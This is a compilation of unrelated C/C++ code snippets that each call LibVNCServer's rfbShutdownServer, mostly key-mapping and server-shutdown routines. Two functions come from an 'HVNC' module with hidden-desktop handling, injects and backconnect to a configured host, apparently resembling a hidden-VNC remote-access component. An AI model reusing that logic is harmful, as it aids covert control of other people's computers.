static int keysym2scancode(rfbBool down, rfbKeySym key, rfbClientPtr cl) { int scancode = 0; int code = (int)key; if (code>='0' && code<='9') { scancode = (code & 0xF) - 1; if (scancode<0) scancode += 10; scancode += KEY_1; } else if (code>=0xFF50 && code<=0xFF58) { static const uint16_t map[] = { KEY_HOME, KEY_LEFT, KEY_UP, KEY_RIGHT, KEY_DOWN, KEY_SOFT1, KEY_SOFT2, KEY_END, 0 }; scancode = map[code & 0xF]; } else if (code>=0xFFE1 && code<=0xFFEE) { static const uint16_t map[] = { KEY_LEFTSHIFT, KEY_LEFTSHIFT, KEY_COMPOSE, KEY_COMPOSE, KEY_LEFTSHIFT, KEY_LEFTSHIFT, 0,0, KEY_LEFTALT, KEY_RIGHTALT, 0, 0, 0, 0 }; scancode = map[code & 0xF]; } else if ((code>='A' && code<='Z') || (code>='a' && code<='z')) { static const uint16_t map[] = { KEY_A, KEY_B, KEY_C, KEY_D, KEY_E, KEY_F, KEY_G, KEY_H, KEY_I, KEY_J, KEY_K, KEY_L, KEY_M, KEY_N, KEY_O, KEY_P, KEY_Q, KEY_R, KEY_S, KEY_T, KEY_U, KEY_V, KEY_W, KEY_X, KEY_Y, KEY_Z }; scancode = map[(code & 0x5F) - 'A']; } else { switch (code) { case 0x0003: scancode = KEY_CENTER; break; case 0x0020: scancode = KEY_SPACE; break; case 0x0023: scancode = KEY_SHARP; break; case 0x0033: scancode = KEY_SHARP; break; case 0x002C: scancode = KEY_COMMA; break; case 0x003C: scancode = KEY_COMMA; break; case 0x002E: scancode = KEY_DOT; break; case 0x003E: scancode = KEY_DOT; break; case 0x002F: scancode = KEY_SLASH; break; case 0x003F: scancode = KEY_SLASH; break; case 0x0032: scancode = KEY_EMAIL; break; case 0x0040: scancode = KEY_EMAIL; break; case 0xFF08: scancode = KEY_BACKSPACE; break; case 0xFF1B: scancode = KEY_BACK; break; case 0xFF09: scancode = KEY_TAB; break; case 0xFF0D: scancode = KEY_ENTER; break; case 0x002A: scancode = KEY_STAR; break; case 0xFFBE: scancode = KEY_F1; break; // F1 case 0xFFBF: scancode = KEY_F2; break; // F2 case 0xFFC0: scancode = KEY_F3; break; // F3 case 0xFFC5: scancode = KEY_F4; break; // F8 case 0xFFC8: rfbShutdownServer(cl->screen,TRUE); break; // F11 } } return scancode; }
static void clientgone(rfbClientPtr cl) { clientCount--; rfbShutdownServer(cl->screen,TRUE); free(cl->clientData); }
/* Here the key events are handled */ static void dokey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down) { if(key==XK_Escape) /* close down server, disconnecting clients */ rfbShutdownServer(cl->screen,TRUE); vnc_to_exit = 1; } }
// this is called if the plugin is removed at runtime VncServer::~VncServer() { vassert(plugin); rfbShutdownServer(m_screen, true); rfbScreenCleanup(m_screen); m_screen = nullptr; //fprintf(stderr,"VncServer::~VncServer\n"); plugin = nullptr; }
static void dokey(rfbBool down,rfbKeySym key,rfbClientPtr cl) { if(down) { if(key==XK_Escape) rfbCloseClient(cl); else if(key==XK_F12) /* close down server, disconnecting clients */ rfbShutdownServer(cl->screen,TRUE); else if(key==XK_F11) /* close down server, but wait for all clients to disconnect */ rfbShutdownServer(cl->screen,FALSE); else if(key==XK_Page_Up) { initBuffer((unsigned char*)cl->screen->frameBuffer); rfbMarkRectAsModified(cl->screen,0,0,maxx,maxy); } else if (key == XK_Up) { if (maxx < 1024) { if (maxx < 800) { newframebuffer(cl->screen, 800, 600); } else { newframebuffer(cl->screen, 1024, 768); } } } else if(key==XK_Down) { if (maxx > 640) { if (maxx > 800) { newframebuffer(cl->screen, 800, 600); } else { newframebuffer(cl->screen, 640, 480); } } } else if(key>=' ' && key<0x100) { ClientData* cd=cl->clientData; int x1=cd->oldx,y1=cd->oldy,x2,y2; cd->oldx+=rfbDrawCharWithClip(cl->screen,&radonFont,cd->oldx,cd->oldy,(char)key,0,0,cl->screen->width,cl->screen->height,0x00ffffff,0x00ffffff); rfbFontBBox(&radonFont,(char)key,&x1,&y1,&x2,&y2); rfbMarkRectAsModified(cl->screen,x1,y1,x2-1,y2-1); } } }
static void handleKey(rfbBool down, rfbKeySym key, rfbClientPtr cl) { if(down) { if(key==XK_Escape) { rfbCloseClient(cl); quit = true; } else if(key==XK_F12) { /* close down server, disconnecting clients */ rfbShutdownServer(cl->screen,TRUE); quit = true; } else if(key==XK_F11) { /* close down server, but wait for all clients to disconnect */ rfbShutdownServer(cl->screen,FALSE); quit = true; } else if(key==XK_F11) { /* close down server, but wait for all clients to disconnect */ rfbShutdownServer(cl->screen,FALSE); quit = true; } else { } } else { } }
static void clientGone(rfbClientPtr cl) { rfbShutdownServer(cl->screen, TRUE); }
void RemoteControl::shutdownServer() { rfbShutdownServer(rfbScreen,TRUE); }
int keysym2scancode(rfbBool down, rfbKeySym c, rfbClientPtr cl, int *sh, int *alt) { int real=1; if ('a' <= c && c <= 'z') return qwerty[c-'a']; if ('A' <= c && c <= 'Z') { (*sh)=1; return qwerty[c-'A']; } if ('1' <= c && c <= '9') return c-'1'+2; if (c == '0') return 11; if (32 <= c && c <= 47) { (*sh) = spec1sh[c-32]; return spec1[c-32]; } if (58 <= c && c <= 64) { (*sh) = spec2sh[c-58]; return spec2[c-58]; } if (91 <= c && c <= 96) { (*sh) = spec3sh[c-91]; return spec3[c-91]; } if (123 <= c && c <= 127) { (*sh) = spec4sh[c-123]; return spec4[c-123]; } switch(c) { case 0xff08: return 14;// backspace case 0xff09: return 15;// tab case 1: (*alt)=1; return 34;// ctrl+a case 3: (*alt)=1; return 46;// ctrl+c case 4: (*alt)=1; return 32;// ctrl+d case 18: (*alt)=1; return 31;// ctrl+r case 0xff0D: return 28;// enter case 0xff1B: return 158;// esc -> back case 0xFF51: return 105;// left -> DPAD_LEFT case 0xFF53: return 106;// right -> DPAD_RIGHT case 0xFF54: return 108;// down -> DPAD_DOWN case 0xFF52: return 103;// up -> DPAD_UP // case 360: return 232;// end -> DPAD_CENTER (ball click) case 0xff50: return KEY_HOME;// home case 0xFFC8: rfbShutdownServer(cl->screen,TRUE); return 0; //F11 disconnect case 0xFFC9: L("F12 closing..."); exit(0); //F10 closes daemon break; case 0xffc1: down?rotate(-1):0; return 0; // F4 rotate case 0xffff: return 158;// del -> back case 0xff55: return 229;// PgUp -> menu case 0xffcf: return 127;// F2 -> search case 0xffe3: return 127;// left ctrl -> search case 0xff56: return 61;// PgUp -> call case 0xff57: return 107;// End -> endcall case 0xffc2: return 211;// F5 -> focus case 0xffc3: return 212;// F6 -> camera case 0xffc4: return 150;// F7 -> explorer case 0xffc5: return 155;// F8 -> envelope case 50081: case 225: (*alt)=1; if (real) return 48; //a with acute return 30; //a with acute -> a with ring above case 50049: case 193:(*sh)=1; (*alt)=1; if (real) return 48; //A with acute return 30; //A with acute -> a with ring above case 50089: case 233: (*alt)=1; return 18; //e with acute case 50057: case 201:(*sh)=1; (*alt)=1; return 18; //E with acute case 50093: case 0xffbf: (*alt)=1; if (real) return 36; //i with acute return 23; //i with acute -> i with grave case 50061: case 205: (*sh)=1; (*alt)=1; if (real) return 36; //I with acute return 23; //I with acute -> i with grave case 50099: case 243:(*alt)=1; if (real) return 16; //o with acute return 24; //o with acute -> o with grave case 50067: case 211:(*sh)=1; (*alt)=1; if (real) return 16; //O with acute return 24; //O with acute -> o with grave case 50102: case 246: (*alt)=1; return 25; //o with diaeresis case 50070: case 214: (*sh)=1; (*alt)=1; return 25; //O with diaeresis case 50577: case 245:(*alt)=1; if (real) return 19; //Hungarian o return 25; //Hungarian o -> o with diaeresis case 50576: case 213: (*sh)=1; (*alt)=1; if (real) return 19; //Hungarian O return 25; //Hungarian O -> O with diaeresis case 50106: // case 0xffbe: (*alt)=1; // if (real) return 17; //u with acute // return 22; //u with acute -> u with grave case 50074: case 218: (*sh)=1; (*alt)=1; if (real) return 17; //U with acute return 22; //U with acute -> u with grave case 50108: case 252: (*alt)=1; return 47; //u with diaeresis case 50076: case 220:(*sh)=1; (*alt)=1; return 47; //U with diaeresis case 50609: case 251: (*alt)=1; if (real) return 45; //Hungarian u return 47; //Hungarian u -> u with diaeresis case 50608: case 219: (*sh)=1; (*alt)=1; if (real) return 45; //Hungarian U return 47; //Hungarian U -> U with diaeresis } return 0; }
void VNCStopServer(HVNC hVNC,DWORD dwFlags) { if (!bHVNCInit) return; HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; PHVNC lpServer=lpHandle->lpServer; if (!lpServer) return; EnterCriticalSection(&csHVNC); { if (!lpServer->bStopped) { if (lpServer->rfbScreen) { if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_INJECTS)) { UnmapViewOfFile(lpServer->lpSharedMemMapping); SysCloseHandle(lpServer->hSharedMemMapping); lpServer->lpSharedMemMapping=NULL; } rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen; lpServer->bActive=false; SetEvent(lpServer->EventsInfo.hVNCKillEvent); WaitThreadsDeath(lpServer); rfbShutdownServer(rfbScreen,TRUE); lpServer->bUpdateThreadStarted=false; if (rfbScreen->authPasswdData) { PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)rfbScreen->authPasswdData; for (int i=0; lppPasswords[i]; i++) MemFree(lppPasswords[i]); MemFree(lppPasswords); rfbScreen->authPasswdData=NULL; } VirtualFree(rfbScreen->frameBuffer,0,MEM_DECOMMIT); rfbScreenCleanup(rfbScreen); lpServer->rfbScreen=NULL; if (lpServer->TaskSwitcherInfo.bTaskSwitcherIsShown) DestroyTaskSwitcherWnd(lpServer,false); if (lpServer->WndWatcherInfo.lpZOrderList) { Z_ORDER_LIST_ITEM *lpItem=lpServer->WndWatcherInfo.lpZOrderList; while (lpItem) { Z_ORDER_LIST_ITEM *lpPrev=lpItem; lpItem=lpItem->lpNext; MemFree(lpPrev); } lpServer->WndWatcherInfo.lpZOrderList=NULL; StopWatcher(lpServer); } if (lpServer->DIBInfo.lpChecksums) { VirtualFree(lpServer->DIBInfo.lpChecksums,0,MEM_DECOMMIT); lpServer->DIBInfo.lpChecksums=NULL; } if (lpServer->DIBInfo.hIntermedMemDC) { SelectObject(lpServer->DIBInfo.hIntermedMemDC,lpServer->DIBInfo.hIntermedOldBitmap); DeleteObject(lpServer->DIBInfo.hIntermedMemBitmap); DeleteDC(lpServer->DIBInfo.hIntermedMemDC); lpServer->DIBInfo.hIntermedMemDC=NULL; } if (lpServer->DIBInfo.hCompDC) { SelectObject(lpServer->DIBInfo.hCompDC,lpServer->DIBInfo.hOldBitmap); DeleteObject(lpServer->DIBInfo.hBitmap); DeleteDC(lpServer->DIBInfo.hCompDC); lpServer->DIBInfo.hCompDC=NULL; } if (lpServer->DIBInfo.hTmpCompDC) { SelectObject(lpServer->DIBInfo.hTmpCompDC,lpServer->DIBInfo.hTmpOldBitmap); DeleteObject(lpServer->DIBInfo.hTmpBitmap); DeleteDC(lpServer->DIBInfo.hTmpCompDC); lpServer->DIBInfo.hTmpCompDC=NULL; } ReleaseDC(NULL,lpServer->DIBInfo.hDC); } lpServer->EventsInfo.dwClients=0; if (lpServer->hDesktop) { CloseDesktop(lpServer->hDesktop); lpServer->hDesktop=NULL; } lpServer->dwExplorersPID=0; lpServer->bStopped=true; } } LeaveCriticalSection(&csHVNC); return; }
void WINAPI VNCServerThread(HVNC hVNC) { HVNC_HANDLE *lpHandle=VNCGetHandleInformation(hVNC); if (!lpHandle) return; if (!SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED+ES_AWAYMODE_REQUIRED)) SetThreadExecutionState(ES_CONTINUOUS+ES_SYSTEM_REQUIRED); SetThreadDesktopEx(hDefaultDesktop); PHVNC lpServer=lpHandle->lpServer; rfbScreenInfoPtr rfbScreen=lpServer->rfbScreen=rfbGetScreen(NULL,NULL,lpServer->DeskInfo.dwWidth,lpServer->DeskInfo.dwHeight,8,3,lpServer->DeskInfo.bBytesPerPixel); if (!rfbScreen) { lpServer->bActive=false; SetEvent(lpHandle->hEvent); return; } rfbScreen->screenData=lpServer; rfbScreen->desktopName=lpServer->DeskInfo.szDeskName; rfbScreen->frameBuffer=(char*)lpServer->DIBInfo.lpOldBkgBits; rfbScreen->alwaysShared=lpHandle->ConnInfo.bShared; rfbScreen->ptrAddEvent=OnPointerEvent; rfbScreen->kbdAddEvent=OnKeyboardEvent; rfbScreen->setXCutText=OnReceiveClipboard; rfbScreen->getFileTransferPermission=OnFileTransfer; rfbScreen->port=lpHandle->ConnInfo.wVNCPort; if (!(lpServer->DeskInfo.dwFlags & HVNC_NO_VNC_CURSOR)) SetXCursor(rfbScreen,&cur_arrow); else rfbScreen->cursor=NULL; if ((lpHandle->ConnInfo.szBCHost[0]) && (lpHandle->ConnInfo.wBCPort)) { rfbScreen->backconnect=TRUE; lstrcpyA(rfbScreen->backconnectHost,lpHandle->ConnInfo.szBCHost); rfbScreen->bcPort=lpHandle->ConnInfo.wBCPort; } if (lpHandle->ConnInfo.Passwords.dwPasswordsCount) { DWORD dwPasswordsCount=lpHandle->ConnInfo.Passwords.dwPasswordsCount; PASSWORD_ITEM **lppPasswords=(PASSWORD_ITEM **)MemAlloc((dwPasswordsCount+1)*sizeof(PASSWORD_ITEM *)); for (DWORD i=0; i < dwPasswordsCount; i++) { lppPasswords[i]=(PASSWORD_ITEM*)MemAlloc(sizeof(PASSWORD_ITEM)); lppPasswords[i]->dwFlags=lpHandle->ConnInfo.Passwords.piPasswords[i].dwFlags; lstrcpyA(lppPasswords[i]->szPassword,lpHandle->ConnInfo.Passwords.piPasswords[i].szPassword); } rfbScreen->authPasswdData=lppPasswords; rfbScreen->passwordCheck=OnNewClientAuth; } else rfbScreen->newClientHook=OnNewClient; while (lpServer->bActive) { rfbInitServer(rfbScreen); if (rfbScreen->backconnect) { if (rfbScreen->connectSock < 0) lpServer->bActive=false; } else if (rfbScreen->listenSock < 0) lpServer->bActive=false; if (lpHandle->hEvent) SetEvent(lpHandle->hEvent); while ((rfbIsActive(rfbScreen)) && (IsConnectionActive(lpServer))) { if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; if (!(lpServer->DeskInfo.dwFlags & HVNC_SCREEN_SIZE_DETERMINED)) { if (WaitForSingleObject(hDispChangeEvent,0) == WAIT_OBJECT_0) SetNewFramebuffer(lpServer,lpSharedVNCData->dwNewWidth,lpSharedVNCData->dwNewHeight,lpSharedVNCData->bNewBitsPerPixel); } if (WaitForSingleObject(lpServer->EventsInfo.hClipboardUpdatedEvent,0) == WAIT_OBJECT_0) SendClipboard(lpServer); if ((lpServer->DeskInfo.bInputDesktop) && (lpServer->EventsInfo.dwClients)) { GetCursorPos(&lpServer->lpGlobalVNCData->ptCursor); rfbClientIteratorPtr i=rfbGetClientIteratorWithClosed(rfbScreen); rfbClientPtr cl=rfbClientIteratorHead(i); if (cl) rfbDefaultPtrAddEvent(0,lpServer->lpGlobalVNCData->ptCursor.x,lpServer->lpGlobalVNCData->ptCursor.y,cl); rfbReleaseClientIterator(i); } rfbProcessEvents(rfbScreen,1000); } if (WaitForSingleObject(lpServer->EventsInfo.hVNCKillEvent,0) != WAIT_TIMEOUT) break; VNCDisconnectAllUsers(hVNC); rfbShutdownServer(rfbScreen,TRUE); if (lpServer->rfbScreen->backconnect) { DWORD dwTickCount=GetTickCount(); if (dwTickCount-lpServer->dwLastReconnectionTime <= 1000) { if (++lpServer->dwReconnectionsCount >= MAX_RECONNECTIONS_PER_SECOND) { lpServer->bActive=false; break; } } else lpServer->dwReconnectionsCount=0; lpServer->dwLastReconnectionTime=dwTickCount; } rfbScreen->socketState=RFB_SOCKET_INIT; Sleep(1); } return; }
LibVNCServer::~LibVNCServer() { rfbShutdownServer( m_screenInfo, true ); delete [] m_screenInfo->frameBuffer; m_screen->data = 0; }